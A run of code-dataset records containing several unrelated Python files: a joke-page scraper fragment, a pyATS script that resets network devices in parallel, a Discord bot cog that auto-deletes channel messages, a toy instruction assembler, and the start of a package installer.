(.*?)'\n re_joke = re.compile(pattern,re.S)\n joke = re_joke.findall(data)\n\n print(joke)\n\nurl = \"https://www.qiushibaike.com/text/\"\ngetcontent(url)","repo_name":"immortalChensm/python","sub_path":"spider/baike.py","file_name":"baike.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39609231654","text":"#!/usr/bin/env python\n\n\"\"\"reset.py\n\n装置をresetします。\n\n\"\"\"\n\nimport logging\n\nfrom genie.testbed import load\nfrom unicon.core.errors import SubCommandFailure\n\n# https://pubhub.devnetcloud.com/media/pyats/docs/async/pcall.html\nfrom pyats.async_ import pcall\n\ntry:\n from tabulate import tabulate\n HAS_TABULATE = True\nexcept ImportError:\n HAS_TABULATE = False\n\nlogger = logging.getLogger(__name__)\n\n\ndef print_results(results: dict):\n\n for router_name, result in results.items():\n results[router_name] = 'Success' if result is True else 'Fail'\n\n if HAS_TABULATE:\n headers = ['device', 'result']\n print(tabulate(list(results.items()), headers=headers, tablefmt='github'))\n else:\n for router_name, result in results.items():\n print('='*10 + ' results ' + '='*10)\n print(f'{router_name} {result}')\n\n\ndef set_boot_config(uut: object, filename: str) -> str:\n if not filename:\n return None\n if not uut.is_connected():\n return None\n\n try:\n parsed = uut.parse('show boot')\n config = parsed['boot']['config']\n uut.execute(f'boot config {filename}')\n except SubCommandFailure as e:\n logger.error(str(e))\n return None\n return config\n\n\ndef execute_reset(uut: object) -> bool:\n try:\n uut.reset()\n uut.ping('127.0.0.1')\n except SubCommandFailure as e:\n logger.error(str(e))\n return False\n return True\n\n\nif __name__ == '__main__':\n\n import argparse\n import os\n import sys\n\n import common\n\n logging.basicConfig()\n logger.setLevel(logging.INFO)\n\n # app_home is .. from this file\n app_home = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))\n\n # default testbed file\n default_testbed_path = os.path.join(app_home, 'testbed.yaml')\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--testbed', dest='testbed', type=str, default=default_testbed_path, help='testbed YAML file')\n parser.add_argument('--host', nargs='*', type=str, help='a list of target host')\n parser.add_argument('--group', nargs='*', type=str, default=['all'], help='a list of target group')\n parser.add_argument('--config', dest='config', help='boot config file', type=str, default=None)\n parser.add_argument('-y', '--yes', action='store_true', default=False, help='reset')\n args, _ = parser.parse_known_args()\n\n def main():\n\n if args.yes:\n\n testbed = load(args.testbed)\n target_list = common.get_target_device_list(args=args, testbed=testbed)\n connected_device_list = common.connect_target_list(target_list=target_list)\n\n # 指定されたファイルで起動するように変更\n # もとに戻すために、もともとの起動ファイルの情報を保存しておく\n bootfile = None\n if args.config:\n bootfile = args.config if args.config.startswith('/') else '/drive/config/' + args.config\n\n boot_config = {}\n if bootfile is not None:\n for device in connected_device_list:\n boot_config[device.hostname] = set_boot_config(device, bootfile)\n\n # 同時にリセット\n reset_results = pcall(execute_reset, uut=connected_device_list)\n\n # 起動コンフィグを元に戻す\n if bootfile is not None:\n for device in connected_device_list:\n set_boot_config(device, boot_config[device.hostname])\n\n # 切断\n testbed.disconnect()\n\n results = {}\n for target in target_list:\n if target in connected_device_list:\n results[target.hostname] = reset_results[connected_device_list.index(target)]\n else:\n results[target.hostname] = False\n\n print_results(results=results)\n\n return 0\n\n parser.print_help()\n return 0\n\n\n sys.exit(main())\n","repo_name":"takamitsu-iida/pyats-fitelnet","sub_path":"examples/bin/async_reset.py","file_name":"async_reset.py","file_ext":"py","file_size_in_byte":4012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19176812034","text":"import asyncio\nimport re\nimport discord\nimport os\n# import sqlite3\nimport aiosqlite\nimport datetime as dt\nimport cogs.utils.functions as functions\nfrom configparser import ConfigParser\nfrom discord.ext import commands, tasks\n\nospath = os.path.abspath(os.getcwd())\nlog_database = rf'{ospath}/cogs/log_data.db'\nautodelete_database = rf'{ospath}/cogs/autodelete_data.db'\nconfig, info = ConfigParser(), ConfigParser()\ninfo.read(rf'{ospath}/info.ini')\nconfig.read(rf'{ospath}/config.ini')\ncommand_prefix = config['BOTCONFIG']['prefix']\nbotversion = info['DEFAULT']['title'] + ' v' + info['DEFAULT']['version']\n\nMSG_DEL_DELAY = 10\nSECOND_LOOP_DELAY = 5\n\nTIME_UNITS = { \n 's': ('second', 'seconds', 1),\n 'sec': ('second', 'seconds', 1),\n 'secs': ('second', 'seconds', 1),\n 'second': ('second', 'seconds', 1),\n 'seconds': ('second', 'seconds', 1),\n 'm': ('minute', 'minutes', 60),\n 'min': ('minute', 'minutes', 60),\n 'mins': ('minute', 'minutes', 60),\n 'minute': ('minute', 'minutes', 60),\n 'minutes': ('minute', 'minutes', 60),\n 'h': ('hour', 'hours', 3600),\n 'hr': ('hour', 'hours', 3600),\n 'hrs': ('hour', 'hours', 3600),\n 'hour': ('hour', 'hours', 3600),\n 'hours': ('hour', 'hours', 3600),\n 'd': ('day', 'days', 86400),\n 'day': ('day', 'days', 86400),\n 'days': ('day', 'days', 86400),\n 'w': ('week', 'weeks', 604800),\n 'week': ('week', 'weeks', 604800),\n 'weeks': ('week', 'weeks', 604800),\n 'month': ('month', 'months', 2592000),\n 'months': ('month', 'months', 2592000)}\n\nclass Autodelete(commands.Cog):\n '''\n The autodelete module contains all commands related to the autodelete feature.\n '''\n def __init__(self, bot):\n self.bot = bot\n self.loopcounter = 0\n self.monitor_expired_messages_task = None\n if not self.monitor_expired_messages_task or self.monitor_expired_messages_task.done():\n self.monitor_expired_messages_task = asyncio.create_task(self.monitor_expired_messages_loop())\n functions.checkForFile(os.path.dirname(autodelete_database), os.path.basename(autodelete_database), True, 'autodelete')\n \n @commands.Cog.listener()\n async def on_ready(self):\n await self.fetch_missed_messages()\n print('Autodelete module online')\n \n async def time_seconds(self, numeric_part:int, unit_part:str):\n seconds = numeric_part * TIME_UNITS[unit_part][2]\n return int(seconds)\n \n async def fetch_missed_messages(self):\n async with aiosqlite.connect(autodelete_database) as con:\n async with con.execute(\"SELECT server_id, channel_id FROM channels\") as cursor:\n server_channels = await cursor.fetchall()\n \n for server_id, channel_id in server_channels:\n guild = self.bot.get_guild(server_id)\n if guild:\n channel = guild.get_channel(channel_id)\n if channel:\n try:\n async with con.execute(\"SELECT message_id, message_time FROM messages WHERE channel_id = ? ORDER BY message_time DESC\", (channel.id, )) as cursor:\n message_data = await cursor.fetchall()\n \n message_ids = [message[0] for message in message_data]\n \n async for message in channel.history(limit=None, oldest_first=True):\n if message.id not in message_ids:\n if not message.pinned:\n await con.execute(\"INSERT INTO messages (SERVER_ID, CHANNEL_ID, MESSAGE_ID, MESSAGE_TIME) VALUES (?, ?, ?, ?);\", (guild.id, channel.id, message.id, functions.get_unix_time()))\n await con.commit()\n \n except discord.Forbidden:\n await self.remove_deleted_items()\n await channel.send(f\"Permission denied for deleting messages. Please give me the permission to delete messages in this channel.{channel.mention}\")\n except (aiosqlite.DatabaseError, aiosqlite.IntegrityError, aiosqlite.ProgrammingError, aiosqlite.OperationalError, aiosqlite.NotSupportedError) as e:\n await self.remove_deleted_items()\n print(f\"Something went wrong with the database. Please try again later. Error: {type(e).__name__} - {e}\")\n \n async def delete_before_command_start(self, ctx, time:int=None, count:int=None):\n time_limit = discord.utils.utcnow() - dt.timedelta(days=13.9) # 14 days, plus margin of error\n full_message_list = [message async for message in ctx.channel.history(limit=None, before=ctx.message.created_at, oldest_first=True) if not message.pinned]\n messages_to_delete = []\n messages_to_database = []\n if time and count:\n messages_to_delete = full_message_list[:count]\n messages_to_database = full_message_list[count:]\n elif time:\n for message in full_message_list:\n if message.created_at < ctx.message.created_at - dt.timedelta(seconds=time):\n messages_to_delete.append(message)\n else:\n messages_to_database.append(message)\n elif count:\n messages_to_delete = full_message_list[:count]\n messages_to_database = full_message_list[count:]\n \n if any(messages_to_database):\n async with aiosqlite.connect(autodelete_database) as con:\n for message in messages_to_database:\n await con.execute(\"INSERT INTO messages (SERVER_ID, CHANNEL_ID, MESSAGE_ID, MESSAGE_TIME) VALUES (?, ?, ?, ?);\", (ctx.guild.id, ctx.channel.id, message.id, functions.get_unix_time()))\n await con.commit()\n \n if any(messages_to_delete):\n bulk_deletable = [msg for msg in messages_to_delete if msg.created_at > time_limit]\n non_bulk_deletable = [msg for msg in messages_to_delete if msg.created_at <= time_limit]\n await ctx.channel.purge(limit=None, bulk=True, check=lambda message: message in bulk_deletable, reason=\"David Marcus II Autodelete\")\n await ctx.channel.purge(limit=None, bulk=False, check=lambda message: message in non_bulk_deletable, reason=\"David Marcus II Autodelete\")\n \n async def remove_deleted_items(self):\n async with aiosqlite.connect(autodelete_database) as con:\n #servers\n async with con.execute(\"SELECT server_id FROM servers\") as cursor:\n db_servers = await cursor.fetchall()\n \n existing_server_ids = [server[0] for server in db_servers]\n for server_id in existing_server_ids:\n check_server = self.bot.get_guild(server_id)\n if not check_server:\n await con.execute(\"PRAGMA foreign_keys = ON\")\n await con.execute(\"DELETE FROM servers WHERE server_id = ?\", (server_id,))\n await con.commit()\n else:\n async with con.execute(\"SELECT channel_id FROM channels WHERE server_id = ?\", (server_id,)) as cursor:\n db_server_active_channels = await cursor.fetchall()\n if not any(db_server_active_channels):\n await con.execute(\"PRAGMA foreign_keys = ON\")\n await con.execute(\"DELETE FROM servers WHERE server_id = ?\", (server_id,))\n await con.commit()\n \n #channels\n async with con.execute(\"SELECT channel_id FROM channels\") as cursor:\n db_channels = await cursor.fetchall()\n \n existing_channel_ids = [channel[0] for channel in db_channels] \n for channel_id in existing_channel_ids:\n check_channel = self.bot.get_channel(channel_id)\n if not check_channel: \n await con.execute(\"PRAGMA foreign_keys = ON\")\n await con.execute(\"DELETE FROM channels WHERE channel_id = ?\", (channel_id,))\n await con.commit()\n \n #massages\n async with con.execute(\"SELECT channel_id, message_id FROM messages\") as cursor:\n db_messages = await cursor.fetchall()\n \n for channel_id, message_id in db_messages:\n channel = self.bot.get_channel(channel_id)\n if channel:\n try:\n message = await channel.fetch_message(message_id)\n if message.pinned:\n await con.execute(\"PRAGMA foreign_keys = ON\")\n await con.execute(\"DELETE FROM messages WHERE MESSAGE_ID = ?\", (message_id,))\n await con.commit()\n except discord.NotFound:\n await con.execute(\"PRAGMA foreign_keys = ON\")\n await con.execute(\"DELETE FROM messages WHERE MESSAGE_ID = ?\", (message_id,))\n await con.commit()\n \n async def delete_expired_messages(self, expired_messages):\n async with aiosqlite.connect(autodelete_database) as con:\n for channel_id, message_id, _ in expired_messages:\n channel = self.bot.get_channel(channel_id)\n \n if channel:\n try:\n message = await channel.fetch_message(message_id)\n if message.pinned:\n await con.execute(\"PRAGMA foreign_keys = ON\")\n await con.execute(\"DELETE FROM messages WHERE MESSAGE_ID = ?\", (message_id,))\n await con.commit()\n else:\n await message.delete()\n await con.execute(\"PRAGMA foreign_keys = ON\")\n await con.execute(\"DELETE FROM messages WHERE MESSAGE_ID = ?\", (message_id,))\n await con.commit()\n \n except discord.NotFound:\n #message not found delete from database\n await self.remove_deleted_items()\n \n except discord.Forbidden:\n await self.remove_deleted_items()\n await channel.send(f\"Permission denied for deleting messages. Please give me the permission to delete messages in this channel.{channel.mention}\")\n \n else:\n #channel not found delete from database\n await self.remove_deleted_items()\n \n async def get_expired_messages(self):\n current_time = functions.get_unix_time()\n async with aiosqlite.connect(autodelete_database) as con:\n async with con.execute(\"SELECT channel_id, del_after_time, del_after_count FROM channels\") as cursor:\n channels = await cursor.fetchall()\n \n for channel_id, del_after_time, del_after_count in channels:\n if del_after_time:\n async with con.execute(\"SELECT channel_id, message_id, message_time FROM messages WHERE channel_id = ? AND message_time <= ?\", (channel_id, current_time - del_after_time)) as cursor:\n expired_messages = await cursor.fetchall()\n \n if expired_messages:\n await self.delete_expired_messages(expired_messages)\n \n if del_after_count:\n async with con.execute(\"SELECT channel_id, message_id, message_time FROM messages WHERE channel_id = ? ORDER BY message_time ASC\", (channel_id,)) as cursor:\n possibly_expired_messages = await cursor.fetchall()\n \n if len(possibly_expired_messages) > del_after_count:\n expired_messages = possibly_expired_messages[:len(possibly_expired_messages) - del_after_count]\n await self.delete_expired_messages(expired_messages)\n \n @commands.Cog.listener()\n async def on_message(self, ctx):\n if not ctx.pinned:\n server_id = ctx.guild.id\n channel_id = ctx.channel.id\n message_id = ctx.id\n current_time = functions.get_unix_time()\n \n async with aiosqlite.connect(autodelete_database) as con:\n async with con.execute(\"SELECT channel_id FROM channels WHERE channel_id = ?\", (channel_id,)) as cursor:\n channel_in_database = await cursor.fetchone()\n \n if channel_in_database:\n await con.execute(\"INSERT INTO messages (SERVER_ID, CHANNEL_ID, MESSAGE_ID, MESSAGE_TIME) VALUES (?, ?, ?, ?);\", (server_id, channel_id, message_id, current_time))\n await con.commit()\n \n @commands.group(name='autodelete', aliases=['ad'], description='All commands related to autodelete', invoke_without_command=True)\n @commands.has_permissions(administrator=True)\n @commands.cooldown(1, 5, commands.BucketType.user)\n async def autodelete_base(self, ctx):\n '''\n To see a more detailed description of all the autodelte commands use\\n\n `help autodelete `\n \n '''\n embed = discord.Embed(title='Autodelete usage', description=f'To see how to start the autodelete module use:\\n`{command_prefix}help autodelete start`\\n\\n\\\n To see how to stop the autodelete module use:\\n`{command_prefix}help autodelete stop`\\n\\n\\\n To see all the channels the autodelete module is active in use:\\n`{command_prefix}help autodelete list`', color=0x00ff00, timestamp=dt.datetime.utcnow())\n embed.set_footer(text=botversion)\n await ctx.reply(embed=embed, mention_author=False, delete_after=MSG_DEL_DELAY)\n \n @autodelete_base.command(name='start', invoke_without_command=True)\n @commands.has_permissions(administrator=True)\n @commands.cooldown(1, 5, commands.BucketType.user)\n async def autodelete_start(self, ctx, *count_and_or_time):\n '''\n Use the following format for time:\n `autodelete start <[count] [time]>`\n If `[count]` is set, messages are deleted after this amount of messages.\n If `[time]` is set, messages are deleted after this amount of time.\n If both `[count]` and `[time]` are set, messages are deleted after which ever one comes first.\n At least one of `[count]` or `[time]` must be set.\n \n Examples:\n `autodelete start 1000 3h`\n `autodelete start 1000`\n `autodelete start 3h`\n \n Valid time formats are:\n `s, sec, secs, second, seconds`\n `m, min, mins, minute, minutes`\n `h, hr, hrs, hour, hours`\n `d, day, days`\n `w, week, weeks`\n `month, months`\n '''\n ctx._wrong_start_format_ = False\n ctx._error_reason_ = ''\n index_count = 0\n index_time = 0\n server_id = ctx.guild.id\n channel_id = ctx.channel.id\n await ctx.message.delete(delay=MSG_DEL_DELAY)\n for arg in count_and_or_time:\n match = re.match(r'(^\\d+)(s|sec|secs|second|seconds|m|min|mins|minute|minutes|h|hr|hrs|hour|hours|d|day|days|w|week|weeks|month|months)$', arg, re.IGNORECASE)\n if arg.isdigit():\n index_count += 1\n count = int(arg)\n elif match:\n index_time += 1\n numeric_part = int(match.group(1))\n unit_part = str(match.group(2))\n seconds = await self.time_seconds(numeric_part, unit_part)\n singular_unit_name, plural_unit_name, _ = TIME_UNITS[unit_part]\n unit_name = singular_unit_name if numeric_part == 1 else plural_unit_name\n else:\n ctx._wrong_start_format_ = True\n ctx._error_reason_ = 'Wrong format for start command arguments'\n raise commands.UserInputError\n \n if index_time == 0 and index_count == 1:\n try:\n #only remove by message count in channel\n async with aiosqlite.connect(autodelete_database) as con:\n async with con.execute(\"SELECT server_id FROM servers WHERE server_id = ?\", (server_id,)) as cursor:\n existing_server = await cursor.fetchone()\n if existing_server:\n await con.execute(\"INSERT INTO channels (SERVER_ID, CHANNEL_ID, DEL_AFTER_TIME, DEL_AFTER_COUNT) VALUES (?, ?, ?, ?)\", (server_id, channel_id, None, count))\n else:\n await con.execute(\"INSERT INTO servers (SERVER_ID) VALUES (?)\", (server_id,))\n await con.execute(\"INSERT INTO channels (SERVER_ID, CHANNEL_ID, DEL_AFTER_TIME, DEL_AFTER_COUNT) VALUES (?, ?, ?, ?)\", (server_id, channel_id, None, count))\n await con.commit()\n \n embed = discord.Embed(title='Autodelete preparing channel', description=f'Autodelete has been started in {ctx.channel.mention} and will delete all previous messages.', color=0xFF7518, timestamp=dt.datetime.utcnow())\n embed.set_footer(text=botversion)\n msg = await ctx.send(embed=embed)\n await msg.add_reaction(\"🔄\")\n \n #This can take a while\n await self.delete_before_command_start(ctx, time=None, count=count)\n \n get_channel = self.bot.get_channel(channel_id)\n done_embed = discord.Embed(title='Autodelete started', description=f'Autodelete has been started in {get_channel.mention} and will delete messages after {count} messages.', color=0x00ff00, timestamp=dt.datetime.utcnow())\n done_embed.set_footer(text=botversion)\n msg1 = await get_channel.send(embed=done_embed)\n await msg1.add_reaction(\"✅\")\n \n except aiosqlite.Error:\n embed = discord.Embed(title='Autodelete already running', description=f'Autodelete is already running in {ctx.channel.mention}.\\n\\nTo change autodelete settings the current autodelete needs to be stopped and a new one needs to be started', color=0xff0000, timestamp=dt.datetime.utcnow())\n embed.set_footer(text=botversion)\n await ctx.send(embed=embed, mention_author=False)\n \n elif index_time == 1 and index_count == 0:\n try:\n #only remove by time in channel\n async with aiosqlite.connect(autodelete_database) as con:\n async with con.execute(\"SELECT server_id FROM servers WHERE server_id = ?\", (server_id,)) as cursor:\n existing_server = await cursor.fetchone()\n if existing_server:\n await con.execute(\"INSERT INTO channels (SERVER_ID, CHANNEL_ID, DEL_AFTER_TIME, DEL_AFTER_COUNT) VALUES (?, ?, ?, ?)\", (server_id, channel_id, seconds, None))\n else:\n await con.execute(\"INSERT INTO servers (SERVER_ID) VALUES (?)\", (server_id,))\n await con.execute(\"INSERT INTO channels (SERVER_ID, CHANNEL_ID, DEL_AFTER_TIME, DEL_AFTER_COUNT) VALUES (?, ?, ?, ?)\", (server_id, channel_id, seconds, None))\n await con.commit()\n \n embed = discord.Embed(title='Autodelete preparing channel', description=f'Autodelete has been started in {ctx.channel.mention} and will delete all previous messages.', color=0xFF7518, timestamp=dt.datetime.utcnow())\n embed.set_footer(text=botversion)\n msg = await ctx.send(embed=embed)\n await msg.add_reaction(\"🔄\")\n \n #This can take a while\n await self.delete_before_command_start(ctx, time=seconds, count=None)\n \n get_channel = self.bot.get_channel(channel_id)\n done_embed = discord.Embed(title='Autodelete started', description=f'Autodelete has been started in {get_channel.mention} and will delete messages after {numeric_part} {unit_name}.', color=0x00ff00, timestamp=dt.datetime.utcnow())\n done_embed.set_footer(text=botversion)\n msg1 = await get_channel.send(embed=done_embed)\n await msg1.add_reaction(\"✅\")\n \n except aiosqlite.Error:\n embed = discord.Embed(title='Autodelete already running', description=f'Autodelete is already running in {ctx.channel.mention}.\\n\\nTo change autodelete settings the current autodelete needs to be stopped and a new one needs to be started', color=0xff0000, timestamp=dt.datetime.utcnow())\n embed.set_footer(text=botversion)\n await ctx.send(embed=embed)\n \n elif index_time == 1 and index_count == 1:\n try:\n #remove by message count and time in channel which ever comes first\n async with aiosqlite.connect(autodelete_database) as con:\n async with con.execute(\"SELECT server_id FROM servers WHERE server_id = ?\", (server_id,)) as cursor:\n existing_server = await cursor.fetchone()\n if existing_server:\n await con.execute(\"INSERT INTO channels (SERVER_ID, CHANNEL_ID, DEL_AFTER_TIME, DEL_AFTER_COUNT) VALUES (?, ?, ?, ?)\", (server_id, channel_id, seconds, count))\n else:\n await con.execute(\"INSERT INTO servers (SERVER_ID) VALUES (?)\", (server_id,))\n await con.execute(\"INSERT INTO channels (SERVER_ID, CHANNEL_ID, DEL_AFTER_TIME, DEL_AFTER_COUNT) VALUES (?, ?, ?, ?)\", (server_id, channel_id, seconds, count))\n await con.commit()\n \n embed = discord.Embed(title='Autodelete preparing channel', description=f'Autodelete has been started in {ctx.channel.mention} and will delete all previous messages.', color=0xFF7518, timestamp=dt.datetime.utcnow())\n embed.set_footer(text=botversion)\n msg = await ctx.send(embed=embed)\n await msg.add_reaction(\"🔄\")\n \n #This can take a while\n await self.delete_before_command_start(ctx, time=seconds, count=count)\n \n get_channel = self.bot.get_channel(channel_id)\n done_embed = discord.Embed(title='Autodelete started', description=f'Autodelete has been started in {get_channel.mention} and will delete messages after {count} messages or {numeric_part} {unit_name} which ever comes first.', color=0x00ff00, timestamp=dt.datetime.utcnow())\n done_embed.set_footer(text=botversion)\n msg1 = await get_channel.send(embed=done_embed)\n await msg1.add_reaction(\"✅\")\n \n except aiosqlite.Error:\n embed = discord.Embed(title='Autodelete already running', description=f'Autodelete is already running in {ctx.channel.mention}.\\n\\nTo change autodelete settings the current autodelete needs to be stopped and a new one needs to be started', color=0xff0000, timestamp=dt.datetime.utcnow())\n embed.set_footer(text=botversion)\n await ctx.send(embed=embed)\n \n else:\n #arguments do not match any of the above so its not valid\n if index_count > 1 or index_time > 1:\n ctx._wrong_start_format_ = True\n ctx._error_reason_ = 'You can only have one of each argument a maximum of 2 arguments'\n raise commands.UserInputError\n elif index_count == 0 and index_time == 0:\n ctx._wrong_start_format_ = True\n ctx._error_reason_ = 'You must pass at least one argument'\n raise commands.UserInputError\n else:\n ctx._wrong_start_format_ = True\n ctx._error_reason_ = 'Something went wrong'\n raise commands.UserInputError\n \n @autodelete_base.command(name='list', invoke_without_command=True)\n @commands.has_permissions(administrator=True)\n @commands.cooldown(1, 5, commands.BucketType.user)\n async def autodelete_list(self, ctx):\n '''\n List all channels with autodelete activated in this server.\n '''\n async with aiosqlite.connect(autodelete_database) as con:\n async with con.execute(\"SELECT CHANNEL_ID, DEL_AFTER_TIME, DEL_AFTER_COUNT FROM channels WHERE SERVER_ID = ?\", (ctx.guild.id,)) as cursor:\n channel_data = await cursor.fetchall()\n \n embed = discord.Embed(title=f\"Autodelete Channels in {ctx.guild.name}\", color=0x0000ff, timestamp=dt.datetime.utcnow())\n if channel_data:\n for channel_id, del_after_time, del_after_count in channel_data:\n channel = discord.utils.get(ctx.guild.channels, id=channel_id)\n if del_after_time and del_after_count:\n embed.add_field(name=f\"Channel: {channel.mention if channel else 'No channel found but how?'}\", value=f\"Autodelete Time: {del_after_time} seconds\\nAutodelete Count: {del_after_count} messages\", inline=False)\n elif del_after_time:\n embed.add_field(name=f\"Channel: {channel.mention if channel else 'No channel found but how?'}\", value=f\"Autodelete Time: {del_after_time} seconds\", inline=False)\n elif del_after_count:\n embed.add_field(name=f\"Channel: {channel.mention if channel else 'No channel found but how?'}\", value=f\"Autodelete Count: {del_after_count} messages\", inline=False) \n else:\n embed.add_field(name=f\"No channels with autodelete activated in this server.\", value=f\"Use {command_prefix}help autodelete to get more info on how to start autodelete\", inline=False)\n embed.set_footer(text=botversion)\n await ctx.send(embed=embed)\n \n @autodelete_base.command(name='stop', invoke_without_command=True)\n @commands.has_permissions(administrator=True)\n @commands.cooldown(1, 5, commands.BucketType.user)\n async def autodelete_stop(self, ctx):\n '''\n Stop autodelete feature for the current channel.\n '''\n channel_id = ctx.channel.id\n #wait for on_message to add the stop command to the database otherwise it will remain in the database\n await asyncio.sleep(1)\n \n async with aiosqlite.connect(autodelete_database) as con:\n async with con.execute(\"SELECT channel_id FROM channels WHERE channel_id = ?\", (channel_id,)) as cursor:\n channel_in_database = await cursor.fetchone()\n \n if channel_in_database:\n await con.execute(\"PRAGMA foreign_keys = ON\")\n await con.execute(\"DELETE FROM messages WHERE CHANNEL_ID = ?\", (channel_id,))\n await con.execute(\"DELETE FROM channels WHERE CHANNEL_ID = ?\", (channel_id,))\n await con.commit()\n await ctx.reply(\"Autodelete feature has been stopped for this channel.\", mention_author=False)\n else:\n await ctx.reply(\"Autodelete feature is not active in this channel.\", mention_author=False)\n \n @autodelete_start.error\n async def autodelete_start_error(self, ctx, error):\n '''\n Error handler for autodelete_start_error command.\n '''\n if isinstance(error, commands.UserInputError):\n if ctx._wrong_start_format_:\n reason = ctx._error_reason_\n embed = discord.Embed(title=f'{reason}', description=f'Please use the following format for start:\\n`{command_prefix}autodelete start <[count] [time]>`\\n\\n\\\n If `[count]` is set, messages are deleted after this amount of messages.\\n\\\n If `[time]` is set, messages are deleted after this amount of time.\\n\\\n If both `[count]` and `[time]` are set, messages are deleted after which ever comes first.\\n\\\n At least one of `[count]` or `[time]` must be set.\\n\\n\\\n Examples:\\n`{command_prefix}autodelete start 1000 3h`\\n`{command_prefix}autodelete start 1000`\\n`{command_prefix}autodelete start 3h`\\n\\n\\\n Valid time formats are:\\n`s, sec, secs, second, seconds`\\n`m, min, mins, minute, minutes`\\n`h, hr, hrs, hour, hours`\\n`d, day, days`\\n`w, week, weeks`\\n`month, months`', color=0xFFFF00, timestamp=dt.datetime.utcnow())\n embed.set_footer(text=botversion)\n await ctx.reply(embed=embed, mention_author=False, delete_after=MSG_DEL_DELAY*3)\n ctx._ignore_ = True\n \n async def cog_unload(self):\n # print('Autodelete cog_unload stopping monitor_expired_messages loop')\n if self.monitor_expired_messages_task and not self.monitor_expired_messages_task.done():\n self.monitor_expired_messages_task.cancel()\n \n async def cog_load(self):\n await asyncio.sleep(2)\n # print('Autodelete cog_load starting monitor_expired_messages loop')\n if self.monitor_expired_messages_task and self.monitor_expired_messages_task.done():\n loop = asyncio.get_event_loop()\n self.monitor_expired_messages_task = loop.create_task(self.monitor_expired_messages_loop())\n await self.fetch_missed_messages()\n \n @commands.Cog.listener()\n async def on_disconnect(self):\n if self.monitor_expired_messages_task and not self.monitor_expired_messages_task.done():\n self.monitor_expired_messages_task.cancel()\n \n @commands.Cog.listener()\n async def on_resumed(self):\n await asyncio.sleep(2)\n if self.monitor_expired_messages_task and self.monitor_expired_messages_task.done():\n loop = asyncio.get_event_loop()\n self.monitor_expired_messages_task = loop.create_task(self.monitor_expired_messages_loop())\n await self.fetch_missed_messages()\n \n async def monitor_expired_messages_loop(self):\n while True:\n # print ('monitor_expired_messages_loop')\n await asyncio.sleep(SECOND_LOOP_DELAY)\n self.loopcounter += SECOND_LOOP_DELAY\n await self.get_expired_messages()\n \n #run every 60 seconds as a cleanup and background check\n if self.loopcounter % 60 == 0:\n self.loopcounter = 0\n await self.remove_deleted_items()\n await self.fetch_missed_messages()\n\nasync def setup(bot):\n await bot.add_cog(Autodelete(bot))\n","repo_name":"SuperDrBacon/KirkBot","sub_path":"cogs/autodelete.py","file_name":"autodelete.py","file_ext":"py","file_size_in_byte":31568,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"73112878544","text":"instruction_to_opcode = {\n \"add\" : \"0000\",\n \"addm\" : \"0001\",\n \"subtract\" : \"0010\",\n \"addi\" : \"0011\",\n \"and\" : \"0101\",\n \"sll\" : \"0110\",\n \"lw\" : \"0111\",\n \"sw\" : \"1001\",\n \"clr\" : \"1011\",\n \"mov\" : \"1100\",\n \"cmp\" : \"1101\",\n \"bne\" : \"1110\",\n \"jmp\" : \"1111\"\n}\n\ninstruction_to_type = {\n \"add\" : \"r\",\n \"addm\" : \"i\",\n \"subtract\" : \"r\",\n \"addi\" : \"i\",\n \"and\" : \"r\",\n \"sll\" : \"i\",\n \"lw\" : \"i\",\n \"sw\" : \"i\",\n \"clr\" : \"c\",\n \"mov\" : \"i\",\n \"cmp\" : \"r\",\n \"bne\" : \"j\",\n \"jmp\" : \"j\"\n}\n\nregister_to_binary = {\n \"zero\": \"0000\",\n \"d0\": \"0001\",\n \"d1\": \"0010\",\n \"d2\": \"0011\",\n \"d3\": \"0100\",\n \"a0\": \"0101\",\n \"a1\": \"0110\",\n \"a2\": \"0111\",\n \"a3\": \"1000\",\n \"sr\": \"1001\",\n \"ba\": \"1010\",\n \"pc\": \"1011\"\n}\n\ndef assembly_to_machine_code(assembly_line):\n print(assembly_line)\n assembly_line = assembly_line.lower()\n result = \"\"\n instruction, register_and_data = assembly_line.split(\" \", 1)\n register_and_data = [x.strip() for x in register_and_data.strip().split(\",\")]\n if instruction == \"add\" and len(register_and_data) == 2 and register_and_data[1].isdigit():\n instruction = \"addm\"\n \n result += instruction_to_opcode[instruction]\n\n ins_type = instruction_to_type[instruction]\n if ins_type == \"r\":\n # use dict for ensuring the register to be exist\n result += register_to_binary[register_and_data[0]]\n result += register_to_binary[register_and_data[1]]\n result += \"0000\"\n\n if ins_type == \"i\":\n result += register_to_binary[register_and_data[0]]\n result += format(int(register_and_data[1]), '08b')\n\n if ins_type == \"j\":\n result += format(int(register_and_data[0]), '012b')\n\n if ins_type == \"c\":\n result += register_to_binary[register_and_data[0]]\n result += \"00000000\"\n\n return result","repo_name":"shoshtari/CA_Uni","sub_path":"Assembler/convertor.py","file_name":"convertor.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28750920226","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport sys\nfrom argparse import ArgumentParser\nfrom os.path import dirname,join,isdir, isfile\nfrom os import makedirs\nfrom shutil import copy,rmtree\nfrom glob import glob\n\n# packages should be installed under \n# /lib/pythonMAJ.MIN/site-packages\n# where MAJ = sys.version_info.major and MIN = sys.version_info.minor\n\n\nparser = ArgumentParser(description='install lcatr/schema')\nparser.add_argument('jhRoot', action='store', metavar='root',\n help='Root of job harness installation')\nparser.add_argument('--update', '-u', action='store_true', dest = 'update',\n default=False, \n help='allow overwrite of existing installation')\n\nargs = parser.parse_args()\n\njhRoot = vars(args)['jhRoot']\nupdate = vars(args)['update']\n\npkg = 'lcatr/schema'\npythonversion = 'python' + str(sys.version_info.major) + '.' + str(sys.version_info.minor)\nsitePkgs = join(jhRoot, 'lib', pythonversion, 'site-packages')\nif (not isdir(sitePkgs)) or (not isdir(join(jhRoot, 'bin'))):\n print(root + ' is not root of a job harness installation')\n sys.exit()\n\npkgtop = dirname(sys.argv[0])\n\ninstalledTop = join(sitePkgs, pkg)\n\nif isfile(join(installedTop, '__init__.py')):\n if not update:\n print('Some version of the package is already installed')\n print('Delete or move away before attempting new install')\n print('or re-invoke with --update option')\n sys.exit()\n 